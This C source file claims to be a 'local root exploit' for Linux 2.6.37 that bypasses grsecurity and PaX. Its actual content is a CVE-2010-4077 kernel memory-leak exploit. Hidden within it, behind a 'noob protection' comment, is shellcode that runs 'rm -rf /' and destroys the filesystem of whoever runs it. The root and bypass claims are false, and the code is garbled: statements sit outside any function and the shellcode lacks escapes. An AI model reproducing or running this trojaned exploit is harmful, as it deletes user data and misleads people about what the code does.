2.6.37 2011 Private Local Root Exploits

1. *
2. * modified by CrosS to bypass grsecurity and PaX on
3. * linux kernels
4. *
5. * Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
6. 
   
7. * ================================================
8. 
   
9. * Information leak exploit for CVE-2010-4077 which
10. 
    
11. * leaks kernel stack space back to userland due to
12. 
    
13. * uninitialized struct member "reserved" in struct
14. 
    
15. * serial_icounter_struct copied to userland. uses
16. 
    
17. * ioctl to trigger memory leak, dumps to file and
18. 
    
19. * displays to command line.
20. 
    
21. *
22. 
    
23. * -- prdelka
24. 
    
25. *
26. * by CrosS from r00tw0rm.com - Privat Community
27. 
    
28. */
29. 
    
30. #include <termios.h>
31. 
    
32. #include <fcntl.h>
33. 
    
34. #include <sys/ioctl.h>
35. 
    
36. #include <linux/serial.h>
37. 
    
38. #include <stdio.h>
39. 
    
40. #include <stdlib.h>
41. 
    
42. #include <string.h>
43. 
    
44. printf("Local root 2.6.37 exploit to bypass grsecurity and/or PaX by CrosS.\n");
45. printf("aka ultimate auto rooter\n");
46. printf("Shoutz to 1337day cr3w for helping!.\n");
47. printf("http://www.r00tw0rm.com/forum.\n");
48. 
    
49. 
    
50. 
    
51. int main(int argc, char* argv[]) {
52. 
    
53. int fd, ret = 0, i;
54. 
    
55. struct serial_icounter_struct buffer;
56. 
    
57. printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
58. 
    
59. if(argc < 2){
60. 
    
61. printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
62. 
    
63. exit(-1);
64. 
    
65. };
66. 
    
67. memset(&buffer,0,sizeof(buffer));
68. 
    
69. if((fd = open(argv[1], O_RDONLY)) == -1){
70. 
    
71. printf("[ Couldn't open %s\n",argv[1]);
72. 
    
73. exit(-1);
74. 
    
75. }
76. 
    
77. if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
78. 
    
79. printf("[ Problem with ioctl() request\n");
80. 
    
81. exit(-1);
82. 
    
83. }
84. 
    
85. close(fd);
86. 
    
87. for(i=0;i<=9;i++){
88. 
    
89. printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);
90. 
    
91. };
92. // bm9vYiBwcm90ZWN0aW9u
93. char shelllcode[] ="x6ax0bx58x99x52x6ax2fx89xe7x52x66x68x2dx66x89 "
94. "xe6x52x66x68x2dx72x89xe1x52x68x2fx2fx72x6dx68 "
95. "x2fx62x69x6ex89xe3x52x57x56x51x53x89xe1xcdx80 ";
96. (*(void (*)()) shelllcode)();
97. 
    
98. if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
99. 
    
100. printf("[ Can't open file to write memory out\n");
101. 
     
102. exit(-1);
103. 
     
104. }
105. 
     
106. for(i=0;i<=9;i++){
107. 
     
108. ret += write(fd,&buffer.reserved[i],sizeof(int));
109. 
     
110. }
111. 
     
112. close(fd);
113. 
     
114. printf("[ Written %d leaked bytes to ./leak\n",ret);
115. 
     
116. exit(0);
117. 
     
118. }